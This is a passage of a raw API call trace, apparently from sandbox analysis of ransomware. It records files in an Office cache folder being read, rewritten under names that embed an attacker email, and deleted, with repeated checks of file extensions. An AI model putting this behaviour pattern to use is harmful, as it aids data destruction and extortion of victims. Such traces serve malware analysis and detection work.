	[0090.833] CloseHandle (hObject=0x19c) returned 1
	[0090.833] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0090.833] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0090.833] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0090.833] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.834] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.834] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0091.141] GetLastError () returned 0x0
	[0091.141] ReadFile (in: hFile=0x19c, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x5ac, lpOverlapped=0x0) returned 1
	[0091.557] WriteFile (in: hFile=0x190, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0091.558] ReadFile (in: hFile=0x19c, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0091.558] WriteFile (in: hFile=0x190, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0091.558] SetEndOfFile (hFile=0x190) returned 1
	[0091.559] CloseHandle (hObject=0x190) returned 1
	[0091.563] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0091.563] SetEndOfFile (hFile=0x19c) returned 1
	[0091.564] CloseHandle (hObject=0x19c) returned 1
	[0091.564] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0091.565] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0091.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0091.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0091.565] lstrlenW (lpString=".doc") returned 4
	[0091.565] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0091.565] lstrlenW (lpString=".docx") returned 5
	[0091.565] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0091.565] lstrlenW (lpString=".pdf") returned 4
	[0091.565] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0091.565] lstrlenW (lpString=".xls") returned 4
	[0091.565] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0091.565] lstrlenW (lpString=".xlsx") returned 5
	[0091.565] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0091.565] lstrlenW (lpString=".ppt") returned 4
	[0091.565] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0091.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0091.565] lstrlenW (lpString=".zip") returned 4
	[0091.565] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0091.565] lstrlenW (lpString=".rar") returned 4
	[0091.565] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0091.566] lstrlenW (lpString=".bz2") returned 4
	[0091.566] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0091.566] lstrlenW (lpString=".7z") returned 3
	[0091.566] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0091.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0091.566] lstrlenW (lpString=".dbf") returned 4
	[0091.566] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0091.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0091.566] lstrlenW (lpString=".1cd") returned 4
	[0091.566] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0091.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0091.566] lstrlenW (lpString=".jpg") returned 4
	[0091.566] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0091.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0091.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0091.566] lstrlenW (lpString=".doc") returned 4
	[0091.566] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0091.566] lstrlenW (lpString=".docx") returned 5
	[0091.566] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0091.566] lstrlenW (lpString=".pdf") returned 4
	[0091.567] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0091.567] lstrlenW (lpString=".xls") returned 4
	[0091.567] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0091.567] lstrlenW (lpString=".xlsx") returned 5
	[0091.567] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0091.567] lstrlenW (lpString=".ppt") returned 4
	[0091.567] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0091.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0091.567] lstrlenW (lpString=".zip") returned 4
	[0091.567] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0091.567] lstrlenW (lpString=".rar") returned 4
	[0091.567] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0091.567] lstrlenW (lpString=".bz2") returned 4
	[0091.567] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0091.567] lstrlenW (lpString=".7z") returned 3
	[0091.567] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0091.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0091.567] lstrlenW (lpString=".dbf") returned 4
	[0091.568] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0091.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0091.568] lstrlenW (lpString=".1cd") returned 4
	[0091.568] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0091.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0091.568] lstrlenW (lpString=".jpg") returned 4
	[0091.568] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0091.568] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0091.568] lstrlenW (lpString="OfficeMUISet.xml") returned 16
	[0091.568] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0091.569] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=819) returned 1
	[0091.569] CloseHandle (hObject=0x19c) returned 1
	[0091.569] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020
	[0091.569] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0091.569] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0091.569] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0091.569] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0091.569] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0091.570] GetLastError () returned 0x0
	[0091.570] ReadFile (in: hFile=0x19c, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x333, lpOverlapped=0x0) returned 1
	[0091.698] WriteFile (in: hFile=0x190, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x340, lpOverlapped=0x0) returned 1
	[0091.700] ReadFile (in: hFile=0x19c, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0091.700] WriteFile (in: hFile=0x190, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0091.700] SetEndOfFile (hFile=0x190) returned 1
	[0091.700] CloseHandle (hObject=0x190) returned 1
	[0091.705] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0091.705] SetEndOfFile (hFile=0x19c) returned 1
	[0091.706] CloseHandle (hObject=0x19c) returned 1
	[0091.706] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0091.706] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1
	[0091.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0091.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0091.707] lstrlenW (lpString=".doc") returned 4
	[0091.707] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0091.707] lstrlenW (lpString=".docx") returned 5
	[0091.707] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0091.707] lstrlenW (lpString=".pdf") returned 4
	[0091.707] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0091.707] lstrlenW (lpString=".xls") returned 4
	[0091.707] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0091.707] lstrlenW (lpString=".xlsx") returned 5
	[0091.707] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0091.707] lstrlenW (lpString=".ppt") returned 4
	[0091.707] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0091.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0091.707] lstrlenW (lpString=".zip") returned 4
	[0091.707] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0091.707] lstrlenW (lpString=".rar") returned 4
	[0091.707] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0091.707] lstrlenW (lpString=".bz2") returned 4
	[0091.707] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0091.707] lstrlenW (lpString=".7z") returned 3
	[0091.708] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0091.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0091.708] lstrlenW (lpString=".dbf") returned 4
	[0091.708] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0091.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0091.708] lstrlenW (lpString=".1cd") returned 4
	[0091.708] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0091.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0091.708] lstrlenW (lpString=".jpg") returned 4
	[0091.708] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0091.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0091.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0091.708] lstrlenW (lpString=".doc") returned 4
	[0091.708] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0091.708] lstrlenW (lpString=".docx") returned 5
	[0091.708] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0091.708] lstrlenW (lpString=".pdf") returned 4
	[0091.708] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0091.708] lstrlenW (lpString=".xls") returned 4
	[0091.708] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0091.708] lstrlenW (lpString=".xlsx") returned 5
	[0091.708] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0091.708] lstrlenW (lpString=".ppt") returned 4
	[0091.708] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0091.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0091.708] lstrlenW (lpString=".zip") returned 4
	[0091.708] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0091.709] lstrlenW (lpString=".rar") returned 4
	[0091.709] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0091.709] lstrlenW (lpString=".bz2") returned 4
	[0091.709] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0091.709] lstrlenW (lpString=".7z") returned 3
	[0091.709] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0091.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0091.709] lstrlenW (lpString=".dbf") returned 4
	[0091.709] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0091.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0091.709] lstrlenW (lpString=".1cd") returned 4
	[0091.709] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0091.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0091.709] lstrlenW (lpString=".jpg") returned 4
	[0091.709] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0091.709] lstrcmpiW (lpString1=".chm", lpString2=".4k") returned 1
	[0091.709] lstrlenW (lpString="pss10r.chm") returned 10
	[0091.709] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4
	[0091.760] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=27195) returned 1
	[0091.760] CloseHandle (hObject=0x1c4) returned 1
	[0091.760] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020
	[0091.760] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0091.760] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4
	[0091.761] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0091.761] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0091.761] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0091.762] GetLastError () returned 0x0
	[0091.762] ReadFile (in: hFile=0x1c4, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x6a3b, lpOverlapped=0x0) returned 1
	[0091.764] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x6a40, lpOverlapped=0x0) returned 1
	[0091.766] ReadFile (in: hFile=0x1c4, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0091.766] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0091.766] SetEndOfFile (hFile=0x19c) returned 1
	[0091.947] CloseHandle (hObject=0x19c) returned 1
	[0091.948] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0091.948] SetEndOfFile (hFile=0x1c4) returned 1
	[0091.949] CloseHandle (hObject=0x1c4) returned 1
	[0091.949] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0091.949] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1
	[0092.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0092.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0092.388] lstrlenW (lpString=".doc") returned 4
	[0092.389] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1
	[0092.389] lstrlenW (lpString=".docx") returned 5
	[0092.389] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1
	[0092.389] lstrlenW (lpString=".pdf") returned 4
	[0092.389] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1
	[0092.389] lstrlenW (lpString=".xls") returned 4
	[0092.389] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1
	[0092.389] lstrlenW (lpString=".xlsx") returned 5
	[0092.389] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1
	[0092.389] lstrlenW (lpString=".ppt") returned 4
	[0092.389] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1
	[0092.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0092.389] lstrlenW (lpString=".zip") returned 4
	[0092.389] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1
	[0092.389] lstrlenW (lpString=".rar") returned 4
	[0092.389] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1
	[0092.389] lstrlenW (lpString=".bz2") returned 4
	[0092.389] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1
	[0092.389] lstrlenW (lpString=".7z") returned 3
	[0092.389] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1
	[0092.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0092.389] lstrlenW (lpString=".dbf") returned 4
	[0092.389] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1
	[0092.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0092.389] lstrlenW (lpString=".1cd") returned 4
	[0092.389] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1
	[0092.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0092.389] lstrlenW (lpString=".jpg") returned 4
	[0092.389] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1
	[0092.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0092.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0092.389] lstrlenW (lpString=".doc") returned 4
	[0092.389] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1
	[0092.389] lstrlenW (lpString=".docx") returned 5
	[0092.389] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1
	[0092.390] lstrlenW (lpString=".pdf") returned 4
	[0092.390] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1
	[0092.390] lstrlenW (lpString=".xls") returned 4
	[0092.390] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1
	[0092.390] lstrlenW (lpString=".xlsx") returned 5
	[0092.390] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1
	[0092.390] lstrlenW (lpString=".ppt") returned 4
	[0092.390] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1
	[0092.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0092.390] lstrlenW (lpString=".zip") returned 4
	[0092.390] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1
	[0092.390] lstrlenW (lpString=".rar") returned 4
	[0092.390] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1
	[0092.390] lstrlenW (lpString=".bz2") returned 4
	[0092.390] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1
	[0092.390] lstrlenW (lpString=".7z") returned 3
	[0092.390] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1
	[0092.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0092.390] lstrlenW (lpString=".dbf") returned 4
	[0092.390] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1
	[0092.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0092.390] lstrlenW (lpString=".1cd") returned 4
	[0092.390] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1
